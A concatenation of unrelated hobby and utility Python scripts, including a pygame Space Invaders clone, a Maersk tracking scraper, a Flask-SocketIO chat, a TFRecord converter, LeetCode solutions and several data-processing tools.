def dds(graph_to_seach, start, end, max):
    for i in range(0,max+1):
        a=dls(graph_to_seach,start,end,i)
        if a:
            return a
#print(dls(graph, '1', '7',2))
print(dds(graph,'1','7',3))


import pygame
import random
import math
from pygame import mixer

# Windiow Settings
pygame.init()
screen = pygame.display.set_mode((800, 600))
pygame.display.set_caption("Space Invaders")
logo = pygame.image.load("logo.png")
pygame.display.set_icon(logo)
background = pygame.image.load("bg.jpg")

#background Music
mixer.music.load("background.wav")
mixer.music.play(-1)

# Score
score_value = 0
font = pygame.font.Font('freesansbold.ttf', 32)
text_X = 10
test_Y = 10

def show_score(x, y):
    score = font.render("Score : " + str(score_value), True, (255, 255, 255))
    screen.blit(score, (x, y))

# Player
player_img = pygame.image.load("player1.png")
player_X = 370
player_Y = 480
velocity_X = 0
velocity_Y = 0

# Enemy
enemy_img = []
enemy_Y = []
enemy_X = []
velocity_enemy_X = []
velocity_enemy_Y = []
n = 7
for i in range(n):
    enemy_img.append(pygame.image.load("enemy1.png"))
    enemy_Y.append(random.randint(50,200))
    enemy_X.append(random.randint(0,150))
    velocity_enemy_X.append(1)
    velocity_enemy_Y.append(0.08)

# Bullet
bullet_img = pygame.image.load("bullet.png")
bullet_X = 0
bullet_Y = 480
velocity_bullet_Y = 2
bullet_state = "ready"

# Game Over
over_font = pygame.font.Font('freesansbold.ttf', 64)
def game_over_text():
    over_text = over_font.render("GAME OVER", True, (255, 255, 255))
    screen.blit(over_text, (200, 250))

def player(player_X, player_Y):
    screen.blit(player_img, (player_X, player_Y))
def enemy(x, y, i):
    screen.blit(enemy_img[i], (x, y))
def fire_bullet(x,y):
    global bullet_state
    bullet_state = "fire"
    screen.blit(bullet_img, (x+28, y+10))
def isCollision(enemy_X, enemy_Y, bullet_X, bullet_Y):
    distance = math.sqrt(math.pow(enemy_X - bullet_X, 2) + (math.pow(enemy_Y - bullet_Y, 2)))
    if distance < 45 and bullet_state=="fire":
        return True
    else:
        return False

# Game Loop
running = True
while running:
    screen.fill((0, 0, 0))
    screen.blit(background,(0,0))
    show_score(text_X, test_Y)
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        if event.type == pygame.KEYDOWN:
            if event.key == pygame.K_LEFT:
                velocity_X = -1
            if event.key == pygame.K_RIGHT:
                velocity_X = 1
            if event.key == pygame.K_UP:
                velocity_Y = -1
            if event.key == pygame.K_DOWN:
                velocity_Y = 1
            if event.key == pygame.K_SPACE:
                if bullet_state=="ready":
                    bulletSound = mixer.Sound("laser.wav")
                    bulletSound.play()
                    # print("pew!")
                    bullet_X = player_X
                    bullet_Y = player_Y
                    fire_bullet(bullet_X,bullet_Y)

        if event.type == pygame.KEYUP:
            if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:
                velocity_X = 0
            if event.key == pygame.K_UP or event.key == pygame.K_DOWN:
                velocity_Y = 0

    player_X += velocity_X
    player_Y += velocity_Y
    if player_X <= 0:
        player_X = 0
    elif player_Y <= 0:
        player_Y = 0
    elif player_X >= 700:
        player_X = 700
    elif player_Y >= 500:
        player_Y = 500

    for i in range(n):
        if enemy_Y[i] > 420:
            for j in range(n):
                enemy_Y[j] = 2000
            game_over_text()
            break

        if enemy_X[i] >= 735:
            velocity_enemy_X[i] = -1
        if enemy_X[i] <= 0:
            velocity_enemy_X[i] = 1
        if enemy_X[i] >=780:
            enemy_X[i] = random.randint(50, 750)
            enemy_Y[i] = random.randint(0, 150)

        enemy_X[i] += velocity_enemy_X[i]
        enemy_Y[i] += velocity_enemy_Y[i]

        collision = isCollision(enemy_X[i],enemy_Y[i],bullet_X,bullet_Y)
        if collision:
            explosionSound = mixer.Sound("explosion.wav")
            explosionSound.play()
            bullet_Y = player_Y
            bullet_state = "ready"
            score_value+=1
            print(score_value)
            enemy_X[i] = random.randint(50, 750)
            enemy_Y[i] = random.randint(0, 150)
        enemy(enemy_X[i], enemy_Y[i],i)

    if bullet_Y<0 :
        bullet_Y=player_Y
        bullet_state = "ready"

    if bullet_state == "fire":
        fire_bullet(bullet_X,bullet_Y)
        bullet_Y -= velocity_bullet_Y

    player(player_X, player_Y)

    pygame.display.update()


import re
import os
import json
import time

from collections import Counter   #引入Counter

data_dir  = './data/processed_manual_talkop_vivre_card'
prefix_file = 'file_prefix.json'

avpair_suffix                = '-entities_avpair.json'
entities_id_name_list_suffix = '-entities_id_name_list.txt'
predicate_key_list_suffix    = '-predicate_key_list.txt'

prefix_file_path = os.path.join(data_dir, prefix_file)

with open(prefix_file_path) as f:
    prefix_list = json.load(f)
print(prefix_list)

# ----------------------------------
print('\n\n------Predicate Summary------\n\n')

predicate_list = list()
predicate_set  = set()
for item in prefix_list:
    predicate_key_list_file_path = os.path.join(data_dir, item + predicate_key_list_suffix)

    print(predicate_key_list_file_path)

    if not os.path.exists(predicate_key_list_file_path):
        print('not exists')
        continue

    with open(predicate_key_list_file_path) as f:
        content = f.readlines()

    content = [i.strip() for i in content]

    predicate_list.extend(content)
    predicate_set.update(content)

print()
print('Predicate List item number: {}'.format(len(predicate_list)))
print('Predicate Set item number:  {}'.format(len(predicate_set)))

print('\nPredicate Set:\n')
predicate_set = sorted(predicate_set)
for item in predicate_set:
    print(item)

print('\n时间轴排序\n')
year_list = []
for item in predicate_set:
    if '年前' in item and '？' not in item:
        result = re.findall('([0-9]*).*', item)
        year_list.append(int(result[0]))

print(sorted(year_list))

# write predicate set into file
summary_predicate_set_file = os.path.join(data_dir, 'summary_predicate_set.txt')
print('write predicate set into file, path: {}'.format(summary_predicate_set_file))

with open(summary_predicate_set_file, 'w') as f:
    for item in predicate_set:
        f.write(item + '\n')

# ----------------------------------
print('\n\n------Entities ID Name Summary------\n\n')

entities_list = list()
entities_set  = set()
for item in prefix_list:
    entities_id_name_list_file_path = os.path.join(data_dir, item + entities_id_name_list_suffix)

    print(entities_id_name_list_file_path)

    if not os.path.exists(entities_id_name_list_file_path):
        print('not exists')
        continue

    with open(entities_id_name_list_file_path) as f:
        content = f.readlines()

    content = [i.strip() for i in content]

    entities_list.extend(content)
    entities_set.update(content)

print()
print('Entities ID Name List item number: {}'.format(len(entities_list)))
print('Entities ID Name Set item number:  {}'.format(len(entities_set)))

b = dict(Counter(entities_list))
print('\n重复元素')
print([key for key,value in b.items()if value > 1])  #只展示重复元素
print({key:value for key,value in b.items()if value > 1})  #展现重复元素和重复次数

# write Entities ID Name List into file
summary_entities_id_name_list_file = os.path.join(data_dir, 'summary_entities_id_name_list.txt')
print('write predicate set into file, path: {}'.format(summary_entities_id_name_list_file))

entities_list = sorted(entities_list)
with open(summary_entities_id_name_list_file, 'w') as f:
    for item in entities_list:
        f.write(item + '\n')

# ----------------------------------
print('\n\n------Avpair Summary------\n\n')

avpair_cnt  = 0
ntriples_num = 0
empty_ntriples_num = 0
avpair_list = list()
avpair_set  = set()
for item in prefix_list:
    avpair_list_file_path = os.path.join(data_dir, item + avpair_suffix)

    print(avpair_list_file_path)

    if not os.path.exists(avpair_list_file_path):
        print('not exists')
        continue

    with open(avpair_list_file_path) as f:
        content = json.load(f)

    avpair_cnt += len(content)
    avpair_list.extend(content.keys())
    avpair_set.update(content.keys())

    for ID in content.keys():
        entities_item = content[ID]

        for predicate in entities_item.keys():
            objects_item = entities_item[predicate]
            ntriples_num += len(objects_item)

            for object in objects_item:
                if object == None or 'N/A' in object:
                    empty_ntriples_num += 1

print()
print('Avpair number:              {}'.format(avpair_cnt))
print('Avpair List item number:    {}'.format(len(avpair_list)))
print('Avpair Set item number:     {}'.format(len(avpair_set)))
print('Ntriples Number:            {}'.format(ntriples_num))
print('Empty Ntriples Number:      {}'.format(empty_ntriples_num))
print('Non-Empty Ntriples Number:  {}'.format(ntriples_num - empty_ntriples_num))

exit(-1)


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2018/2/24 15:16
# @Author  : Leo
# @Mail    : leo@1201.us
# @File    : learn2.py
# @Software: PyCharm

import requests

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
}
proxy = {'http': '121.61.2.135:8888'}
response = requests.get(url="http://www.mzitu.com/", headers=headers)
print(response.content)


"""
Project Management Program
Actual time taken: 12 hours
"""

import datetime
from project import Project

def main():
    """Project Management Program using the class Project"""
    projects = []
    user_input = ''

    while user_input.lower() != 'q':
        print(f'- (L)oad projects \n'
              '- (S)ave projects \n'
              '- (D)isplay projects \n'
              '- (F)ilter projects by date \n'
              '- (A)dd new project \n'
              '- (U)pdate project \n'
              '- (Q)uit')
        user_input = input(">>> ")

        if user_input.lower() == 'l':
            file_name = input('Please type in the file to be loaded: ')
            projects = load_projects(file_name)

        if user_input.lower() == 'd':
            display_all_projects(projects)

        if user_input.lower() == 'u':
            update_project(projects)

        if user_input.lower() == 'f':
            date_string = input("Show projects that start after date (dd/mm/yy): ")
            date = datetime.datetime.strptime(date_string, "%d/%m/%Y").date()
            display_filtered_projects(projects, date)

        if user_input.lower() == 'a':
            print("Lets add a new project")
            add_new_project(projects)

        if user_input.lower() == 's':
            file_name = input('Please type in the file name to save project data to: ')
            save_projects(projects, file_name)

    print("Thank you for using custom-built project management software.")

def sort_by_priority(projects, to_reverse):
    """Sort projects inside the list according to priority level"""
    result = sorted(projects, key=lambda x: x.priority, reverse=to_reverse)
    return result

def load_projects(file_name):
    """Load projects from txt file"""
    projects = []
    with open(file_name, 'r', newline='') as in_file:
        in_file.readline()
        for line in in_file:
            parts = line.strip().split('\t')
            if len(parts) == 5:
                project = Project(parts[0], parts[1], int(parts[2]), float(parts[3]), int(parts[4]), len(projects))
            else:
                print(f'\nInvalid row detected.\n"{line}"\n Ignoring....\n')
            projects.append(project)

        print(projects)
        return projects

def update_project(projects):
    """Update the details of a project"""
    projects_str = ''
    for i, project in enumerate(projects):
        projects_str = projects_str + str(i) + ' ' + repr(project) + '\n'
    print(projects_str)
    project_choice = int(input('Project choice: '))
    print(repr(projects[project_choice]))
    new_percentage = input('New Percentage: ')
    new_priority = input('New Priority: ')
    if new_percentage != '':
        projects[project_choice].completion_estimate = int(new_percentage)
    if new_priority != '':
        projects[project_choice].priority = int(new_priority)

def display_all_projects(projects):
    """Print all completed and incomplete projects"""
    incomplete_projects = 'Incomplete projects: \n'
    complete_projects = 'Completed projects: \n'
    sorted_projects = sort_by_priority(projects, False)

    for project in sorted_projects:
        if project.completion_estimate < 100:
            incomplete_projects = incomplete_projects + '\t' + repr(project) + '\n'
        else:
            complete_projects = complete_projects + '\t' + repr(project) + '\n'
    display = incomplete_projects + complete_projects
    display = display.strip()
    print(display)

def display_filtered_projects(projects, start_date):
    """Print projects that start on or after the date entered by the user"""
    projects_str = ''
    displayed_project_list = []

    for project in projects:
        project_date = datetime.datetime.strptime(project.start_date, "%d/%m/%Y").date()
        if start_date <= project_date:
            displayed_project_list.append(project)
    displayed_project_list.sort(key=lambda x: datetime.datetime.strptime(x.start_date, "%d/%m/%Y").date())

    for project in displayed_project_list:
        projects_str = projects_str + repr(project) + '\n'

    projects_str = projects_str.strip()
    print(projects_str)

def add_new_project(projects):
    """Add a new project with its information to the list of projects"""
    name = input("Name: ")
    start_date = input("Start date (dd/mm/yy): ")
    priority = input("Priority: ")
    cost_estimate = input("Cost estimate: $")
    completion_estimate = input("Percent complete: ")
    project = Project(name, start_date, int(priority), float(cost_estimate), int(completion_estimate), len(projects))
    projects.append(project)

def save_projects(projects, file_name):
    """Save existing projects in the list to txt file"""
    with open(file_name, 'w', newline='') as out_file:
        out_file.write("Name\tStart Date\tPriority\tCost Estimate\tCompletion Percentage\n")
        for project in projects:
            out_file.write(f"{project.name}\t{project.start_date}\t{project.priority}"
                           f"\t{project.cost_estimate}\t{project.completion_estimate}\n")
        return True

if __name__ == "__main__":
    main()


import re

txt = "This website is for losers LOL!"

def disemvowel(txt):
    find = re.compile("[^aeiouAEIOU]") #uses RegEx to find all characters that are *not* vowels, upper or lowercase (for this kata purpose)
    new_string = "".join([i for i in txt if i in find.findall(txt)]) #creates a new string, by making a list that adds every letter in above regex, and joins it
    return new_string #returns new string

print(disemvowel(txt))


import sys, os
import argparse
import glob

import matplotlib.pyplot as plt
import matplotlib as mpl
import numpy as np

from PIL import Image

from skimage import data, exposure
# from skimage.filters import try_all_threshold, sobel, threshold_mean
from skimage import io
from skimage import img_as_ubyte
from skimage.color import rgb2gray, gray2rgb
from skimage import filters, data
from skimage.morphology import disk, ball, square
from skimage import exposure

mpl.rcParams['axes.spines.left'] = False
mpl.rcParams['axes.spines.right'] = False
mpl.rcParams['axes.spines.top'] = False
mpl.rcParams['axes.spines.bottom'] = False

def find_files(dir_name, pattern="*.png", recursive=True):
    # Using '*' pattern
    all_files = []
    for name in glob.glob('{}/**/{}'.format(dir_name, pattern), recursive=True):
        all_files.append(name)
    return all_files

def filter_grey2rgb(np_image, out_dir, ext="png"):

    np_image = p_image[:, :, 0] if np_image.ndim == 3 else np_image
    # rgb = gray2rgb(p_image)

    # im = Image.fromarray(np.uint8(rgb*255))
    PIL_image = Image.fromarray(np.uint8(np_image)).convert('RGB')
    return PIL_image

def filter_rgb2grey(np_image, out_dir, ext="png"):

    grayscale = rgb2gray(np_image)

    # best_image = grayscale > filters.threshold_mean(grayscale)

    PIL_image = Image.fromarray(np.uint8(grayscale*255))
    return PIL_image

def array2image(np_image_array):
    np_image_array = np.repeat(np_image_array[...,None],3,axis=2).astype(np.uint8)
    np_image_array = 255*np_image_array
    return Image.fromarray(np_image_array)

def filter_image(in_image, out_dir, filter="rgb2grey", ext="png"):

    try:
        os.makedirs(out_dir)
    except OSError:
        pass

    # print(in_image)
    parts = in_image.split('/')

    np_image_array = io.imread(in_image)

    if filter=='rgb2grey':
        im = filter_rgb2grey(np_image_array, out_dir, ext="png")
    elif filter=='grey2rgb':
        im = filter_grey2rgb(np_image_array, out_dir, ext="png")
    elif filter=='threshold_otsu_binary':
        thresh = filters.threshold_otsu(np_image_array)
        binary = np_image_array >= thresh
        im = Image.fromarray(binary)
    elif filter=='threshold_otsu_binary_inv':
        thresh = filters.threshold_otsu(np_image_array)
        binary = np_image_array <= thresh
        im = Image.fromarray(binary)
    elif filter=='mean':
        noisy_image = img_as_ubyte(np_image_array)
        loc_mean = filters.rank.mean(noisy_image, disk(6))
        im = Image.fromarray(loc_mean)
    elif filter=='global_contrast_enhancement':
        noisy_image = img_as_ubyte(np_image_array)
        glob = exposure.equalize_hist(noisy_image) * 255
        #im = Image.fromarray(glob, 'RGB')
        im = Image.fromarray(np.uint8(glob))
    elif filter=='local_contrast_enhancement':
        noisy_image = img_as_ubyte(np_image_array)
        enh = filters.rank.enhance_contrast(noisy_image, square(5))
        #im = Image.fromarray(glob, 'RGB')
        im = Image.fromarray(np.uint8(enh))

    elif filter=='rescale_intensity':
        noisy_image = img_as_ubyte(np_image_array)
        v_min, v_max = np.percentile(noisy_image, (0.2, 92.8))

        better_contrast = exposure.rescale_intensity(
                                 noisy_image, in_range=(v_min, v_max))
        im = Image.fromarray(np.uint8(better_contrast))

    elif "autolevel":
        selem = square(20)
        loc_autolevel = filters.rank.autolevel(np_image_array, selem=selem)
        im = Image.fromarray(np.uint8(loc_autolevel))

    if im != None:
        out_img = '{}/{}'.format(out_dir,parts[-1])
        print(out_img)
        im.save(out_img)
        return out_img

# ======================================
def main(argv):
    print("starting batch img processing. ")

    # Read in command-line parameters
    parser = argparse.ArgumentParser()

    parser.add_argument("-i", "--in", action="store", required=True, dest="indir", help="image input directory")

    parser.add_argument("-o", "--out", action="store", required=True, dest="out", help="image output directory")

    parser.add_argument("-f", "--filter", action="store", required=True, dest="filter", help="filter name: rgb2grey")

    parser.add_argument("-e", "--ext", action="store", required=False, dest="ext", default="png", help="image output directory")

    args = parser.parse_args()

    try:
        os.makedirs(args.out)
    except OSError:
        pass

    all_files = find_files(args.indir, '*.{}'.format(args.ext))
    for file_path in all_files:
        filter_image(file_path,  args.out, filter=args.filter)

if __name__ == "__main__":
    main(sys.argv[1:])


#!/usr/bin/python2
# -*- coding: utf-8 -*-
import json

import re, os, datetime

from selenium import webdriver
from selenium.webdriver.common.keys import Keys

from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

from selenium.common.exceptions import TimeoutException
from selenium.common.exceptions import NoSuchElementException

from selenium.webdriver import FirefoxOptions

# disable LOG
import logging
from selenium.webdriver.remote.remote_connection import LOGGER

#LOGGER.setLevel(logging.WARNING)
LOGGER.setLevel(logging.ERROR)
#LOGGER.stop()

gecko_path = '/bin/'

# !!!!! search maersk !!!!!
def maersk_search(search):
    import time as pauze
    maersk_url = "https://my.maerskline.com/tracking/#tracking/search?searchNumber="

    os.system("killall -v firefox > /dev/null 2>&1 || true")
    pauze.sleep(2)
    os.system("killall -v geckodriver > /dev/null 2>&1 || true")
    pauze.sleep(3)

   # start new browser
    opts = FirefoxOptions()
    opts.add_argument( "--headless" )

    driver = webdriver.Firefox( gecko_path, firefox_options=opts )
#    driver = webdriver.Firefox( firefox_options=opts )

    results = []
   # start checking process...
    try:
      for i in search:
        driver.get( maersk_url + i )
        pauze.sleep(3)
        try:
#            element = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.ID, "footerData")) )
            element = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.ID, "ign-footer")) )
            html = driver.page_source
        except TimeoutException:
            pass
            results.append( [i,"TIMEOUT ERROR", "ERROR", "ERROR", "ERROR", "ERROR", "ERROR", "ERROR"] )
            with open("/www/kuvalda/static/cont/results.json", 'wb') as outfile:
              json.dump(results, outfile)
            continue

        except NoSuchElementException:
            results.append( [i,"ELEMENT_ERROR", "ERROR", "ERROR", "ERROR", "ERROR", "ERROR", "ERROR"] )
            with open("/www/kuvalda/static/cont/results.json", 'wb') as outfile:
              json.dump(results, outfile)
            continue

        finally:
            html = driver.page_source
            temp = []

            try:
                try:
                    size = re.findall("(\d{2})ft Dry Container", html)[0]
                except:
                    size = "---"

                date = re.findall("(\d{2}\s{1}[A-Z]\w{2}\s{1}\d{4})", html) # ALL MATCH ARRAY
#                time = re.findall("(\d{2}\:\d{2})", html)
                terminal = re.findall('(?<=td\s{1}data-th="Location"\s{1}class="timeline__event-table__cell\s{1}timeline__event-table__cell--heading">).*(?=	)', html)[-1]
                ship = re.findall("(?<=Load\son\s).*?(?=<br)", html)
                voyage = re.findall("(?<=Voyage\s{1}No.).*?(?=\s)", html)

                results.append( [i, size, date[0], "-", ship[-1], voyage[-1], terminal.replace('
', ' '), "Maersk" ] )
                with open("/www/kuvalda/static/cont/results.json", 'wb') as outfile:
                  json.dump(results, outfile)

            except:
                results.append( [i, "-", "-", "-", "-", "-", "-", "Maersk"] )
                with open("/www/kuvalda/static/cont/results.json", 'wb') as outfile:
                  json.dump(results, outfile)

#            print( results )

    except:
      pass

    driver.quit()
   # kill resuming proceses
    os.system("killall -v firefox > /dev/null 2>&1 || true")
    pauze.sleep(1)
    os.system("killall -v geckodriver > /dev/null 2>&1 || true")

#maersk_search( ["MSKU1042177", "TLLU2498630"] )


from app import app, socketio
from flask import render_template
from flask_socketio import emit, join_room, leave_room, send

@app.route('/')
def index():
    return render_template('index.html')

@socketio.on('message')
def handle_message(data):
    print(f'received message:  {data}')

@socketio.on('sendMsg')
def send_message(mensagem):
    print(mensagem)
    room = mensagem['room']
    emit('recieve msg', mensagem, to=room)

@socketio.on('join')
def on_join(data):
    username = data['username']
    room = data['room']
    join_room(room)
    send(f'{username} entrou na sala', to=room)
    print(f'{username} entrou na sala {room}')

@socketio.on('leave')
def on_leave(data):
    username = data['username']
    room = data['room']
    leave_room(room)
    send(f'{username} saiu da sala', to=room)
    print(f'{username} saiu da sala {room}')


import os
from ruamel.yaml import YAML
import tensorflow as tf
from object_detection.utils import dataset_util
import io
import numpy as np
import PIL.Image
import json

flags = tf.app.flags
flags.DEFINE_string('output_path', '', 'Path to output TFRecord')
flags.DEFINE_string('input_file_path', '', 'Path to input file')
flags.DEFINE_integer('max_num_examples', 6000, 'Maxt number of images to pull')
flags.DEFINE_string('image_base_path', '', 'base path to images')

FLAGS = flags.FLAGS

LABEL_DICT =  {
    "Green" : 1,
    "Red" : 3,
    "GreenLeft" : 1,
    "GreenRight" : 1,
    "RedLeft" : 3,
    "RedRight" : 3,
    "Yellow" : 2,
    "Off" : 4,
    "RedStraight" : 3,
    "GreenStraight" : 1,
    "GreenStraightLeft" : 1,
    "GreenStraightRight" : 1,
    "RedStraightLeft" : 3,
    "RedStraightRight" : 3
    }

def get_dict(filename):

    with open(filename, 'r', encoding = "utf-8") as yaml_file:

        yaml=YAML(typ='safe')
        data_set_dict = yaml.load(yaml_file)
    print(len(data_set_dict))

    return data_set_dict

def load_sloth_json_file(filename):
    json_file = open(filename)
    json_str = json_file.read()
    sloth_dict = json.loads(json_str)

    return sloth_dict

def get_tf_example(example_data, image_base_path, verbose =False):
#    height = 720 # Image height
#    width = 1280 # Image width

#    _, file_extension = os.path.splitext(example_data['path'])
    #print('filename_base', filename_base, ' ext: ', file_extension)
    filename = example_data['filename'] # Filename of the image. Empty if image is not from file

    if not image_base_path =='':
        base_image_name = os.path.basename(filename)
        filename = image_base_path + '/'+ base_image_name

    with tf.gfile.GFile(filename, 'rb') as fid:
        encoded_image_data = fid.read()
    filename=filename.encode()

    encoded_image_data_io = io.BytesIO(encoded_image_data)

    image = PIL.Image.open(encoded_image_data_io)
    width, height = image.size
    if verbose:

        print( width, 'x', height)
    #encoded_image_data = None # Encoded image bytes

    _, file_extension = os.path.splitext(filename)
    file_extension = file_extension[1:]
    if verbose:
        print('file_extension: ', file_extension)

    image_format = file_extension
    if(image_format == b'jpg'):
        image_format = b'jpeg'

    #'png'.encode()
    #file_extension.encode() # b'jpeg' or b'png'

    xmins = [] # List of normalized left x coordinates in bounding box (1 per box)
    xmaxs = [] # List of normalized right x coordinates in bounding box
            # (1 per box)
    ymins = [] # List of normalized top y coordinates in bounding box (1 per box)
    ymaxs = [] # List of normalized bottom y coordinates in bounding box
            # (1 per box)
    classes_text = [] # List of string class name of bounding box (1 per box)
    classes = [] # List of integer class id of bounding box (1 per box)

    for annotation in example_data['annotations']:
        xmins.append(annotation['x']/width)
        xmaxs.append((annotation['x']+annotation['width'])/width)
        ymins.append(annotation['y']/height)
        ymaxs.append((annotation['y']+annotation['height'])/height)
        classes_text.append(annotation['id'].encode())
        classes.append(int(LABEL_DICT[annotation['id']]))

    tf_example = tf.train.Example(features=tf.train.Features(feature={
        'image/height': dataset_util.int64_feature(height),
        'image/width': dataset_util.int64_feature(width),
        'image/filename': dataset_util.bytes_feature(filename),
        'image/source_id': dataset_util.bytes_feature(filename),
        'image/encoded': dataset_util.bytes_feature(encoded_image_data),
        'image/format': dataset_util.bytes_feature(image_format),
        'image/object/bbox/xmin': dataset_util.float_list_feature(xmins),
        'image/object/bbox/xmax': dataset_util.float_list_feature(xmaxs),
        'image/object/bbox/ymin': dataset_util.float_list_feature(ymins),
        'image/object/bbox/ymax': dataset_util.float_list_feature(ymaxs),
        'image/object/class/text': dataset_util.bytes_list_feature(classes_text),
        'image/object/class/label': dataset_util.int64_list_feature(classes),
    }))
    return tf_example

def main(_):

    sloth_dict = load_sloth_json_file(FLAGS.input_file_path)

    print('input_path: ',FLAGS.input_file_path )

#    print(get_tf_example(data_set_dict[0]))
    print('output_path: ',FLAGS.output_path )
    writer = tf.python_io.TFRecordWriter(FLAGS.output_path)

    # TODO: Write code to read in your dataset to examples variable
    loop_count = 0

    for example in sloth_dict:
        #print("Example: ", example)
        tf_example = get_tf_example(example,FLAGS.image_base_path, verbose=True)
#        print(tf_example)
        writer.write(tf_example.SerializeToString())
        loop_count = loop_count +1
        if(loop_count >=FLAGS.max_num_examples):
            break
    writer.close()
    print ("Converted: ", loop_count, " examples")
    return

if __name__ == '__main__':
    tf.app.run()


class Solution(object):
    def numTrees(self, n):
        """
        :type n: int
        :rtype: int
        """
        d = {}
        def helper(lo, hi):
            if hi <= lo: return 1
            if (lo, hi) in d: return d[(lo, hi)]
            res = 0
            for i in range(lo, hi + 1):
                res += helper(lo, i - 1) * helper(i + 1, hi)
            d[(lo, hi)] = res
            return res
        return helper(1, n)

class Solution(object):
    def numTrees(self, n):
        """
        :type n: int
        :rtype: int
        """
        dp = [0] * (n + 1)
        dp[0] = dp[1] = 1
        for i in range(2, n + 1): # number of nodes
            for j in range(1, i + 1): # root number
                dp[i] += dp[j - 1] * dp[i - j]
        return dp[-1]


"""
Histogram factory

.. note:: This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
"""

import os
from plotly import graph_objs
from qgis.PyQt.QtGui import QIcon
from DataPlotly.core.plot_types.plot_type import PlotType

class HistogramFactory(PlotType):
    """
    Factory for histogram plots
    """

    @staticmethod
    def type_name():
        return 'histogram'

    @staticmethod
    def name():
        return PlotType.tr('Histogram')

    @staticmethod
    def icon():
        return QIcon(os.path.join(os.path.dirname(__file__), 'icons/histogram.svg'))

    @staticmethod
    def create_trace(settings):
        return [
            graph_objs.Histogram(
                x=settings.x,
                y=settings.x,
                name=settings.data_defined_legend_title if settings.data_defined_legend_title != '' else settings.properties['name'],
                orientation=settings.properties['box_orientation'],
                nbinsx=settings.properties['bins'],
                nbinsy=settings.properties['bins'],
                marker={
                    'color': settings.data_defined_colors if settings.data_defined_colors else settings.properties['in_color'],
                    'line': {
                        'color': settings.data_defined_stroke_colors if settings.data_defined_stroke_colors else settings.properties['out_color'],
                        'width': settings.data_defined_stroke_widths if settings.data_defined_stroke_widths else settings.properties['marker_width']
                    }
                },
                histnorm=settings.properties['normalization'],
                opacity=settings.properties['opacity'],
                cumulative={
                    'enabled': settings.properties['cumulative'],
                    'direction': settings.properties['invert_hist']
                }
            )
        ]

    @staticmethod
    def create_layout(settings):
        layout = super(HistogramFactory, HistogramFactory).create_layout(settings)

        layout['barmode'] = settings.layout['bar_mode']
        layout['bargroupgap'] = settings.layout['bargaps']

        return layout


import streamlit as st
import soundfile as sf
import proc

MAXNUM = 4
ADDVAL = 25
per = 0

st.title('補正処理ツール（内部用）')
st.write('←サイドバーにファイルをアップロードし、`Process`ボタンを押してください。')

st.sidebar.write('### 1. 補正係数ファイルの指定')
coef_file = st.sidebar.file_uploader("Input wave file", type="wav", key='coef')

st.sidebar.write('### 2. 録音データファイルのアップロード')
data_file = st.sidebar.file_uploader("Input wave file", type="wav", key='data')

st.sidebar.write('### 3. 補正処理実行')
bin_data = None

def progress_bar(bar, percentage, val):
    val_post = val + ADDVAL
    bar.progress(val_post)
    percentage.text(f'{val_post} %')

    return val_post

if coef_file is not None and data_file is not None:
    if st.sidebar.button('Process'):
        coef, fs_coef = sf.read(coef_file)
        data, fs_data = sf.read(data_file)
        if not proc.check_fs(fs_coef, fs_data):
            st.error('Please check Fs!!!')
        else:
            st.write('---')
            st.write('### Progress')
            percentage = st.empty()
            percentage.text('0 %')
            bar = st.progress(0)

            bin_data, fs = proc.conv_coef(coef, data, fs_coef)
            st.write('[1/3] _Calculation done!_')
            per = progress_bar(bar, percentage, per)
else:
    st.sidebar.button('Process', disabled=True)

if bin_data is not None:
    # Plot
    st.write('[2/3] _Plotting waveform ..._')
    duration = 15
    fig = proc.plot_waveform(bin_data[0:duration*fs, :], fs)
    st.plotly_chart(fig, use_container_width=True)
    per = progress_bar(bar, percentage, per)

    # Make output file
    outfilename = 'bin_' + data_file.name
    sf.write(outfilename, bin_data, fs, format='wav')
    per = progress_bar(bar, percentage, per)

    st.write('[3/3] _Generating audio file ..._')
    # href = proc.get_binary_file_downloader_html(outfilename, 'Audio file')
    # st.markdown(href, unsafe_allow_html=True)
    st.audio(outfilename)
    per = progress_bar(bar, percentage, per)

    st.success('ALL DONE!!')


import requests
import json
import re
from PIL import Image
from requests_toolbelt import MultipartEncoder

grades = {
    34: 'white',
    23: 'blue',
    111: 'purples',
    170: 'pink',
    235: 'orange'
}
result = []

with open('./image_info.json') as f:
    data = json.load(f)

for i in data:
    item = {}
    s = data[i]['orignal_img'].split('/')
    s_game = i.split('/')
    item['file'] = s[len(s)-1].replace('.png', '')
    item['game_shot'] = s_game[len(s)-1].replace('.png', '')
    p_temp = 0
    item['p_type'] = ''
    item['extra'] = ''
    for o in range(len(data[i]['ocr_result']['words_result'])):
        # ocr准度不行，个别需要人工修正
        if('升级' in data[i]['ocr_result']['words_result'][o]['words']):
            f_name = ''
            if o == 0:
                f_name = 'unknow'
            else:
                p_temp = o + 2
                for n in range(o):
                    f_name += data[i]['ocr_result']['words_result'][n]['words']
                r_name = f_name.replace('⊙', '').replace(
                    '◎', '').strip().split('卡片')[0]
                item['name'] = r_name
                item['upgradable'] = data[i]['ocr_result']['words_result'][o]['words']
                item['position'] = data[i]['ocr_result']['words_result'][o+1]['words']
        if('决斗场' in data[i]['ocr_result']['words_result'][o]['words']):
            for j in range(p_temp, o):
                item['p_type'] += data[i]['ocr_result']['words_result'][j]['words'].split('+')[
                    0] + ','
            item['p_type'] = item['p_type'].strip(',')
            try:
                item['min_p'] = re.findall(
                    r"\d+\.?\d*", data[i]['ocr_result']['words_result'][o-1]['words'].split('+')[1])[0]
                item['max_p'] = re.findall(
                    r"\d+\.?\d*", data[i]['ocr_result']['words_result'][o-1]['words'].split('上限')[-1])[0]
            except:
                pass
            item['e_pkc'] = data[i]['ocr_result']['words_result'][o]['words'].strip(
                '[').strip(']')
            try:
                offset = 1
                while '合成' not in data[i]['ocr_result']['words_result'][o+offset]['words']:
                    item['extra'] += data[i]['ocr_result']['words_result'][o+offset]['words']
                    offset += 1
            except:
                pass
            item['extra'] = item['extra'].strip('附魔师的副职业材料').strip('。')
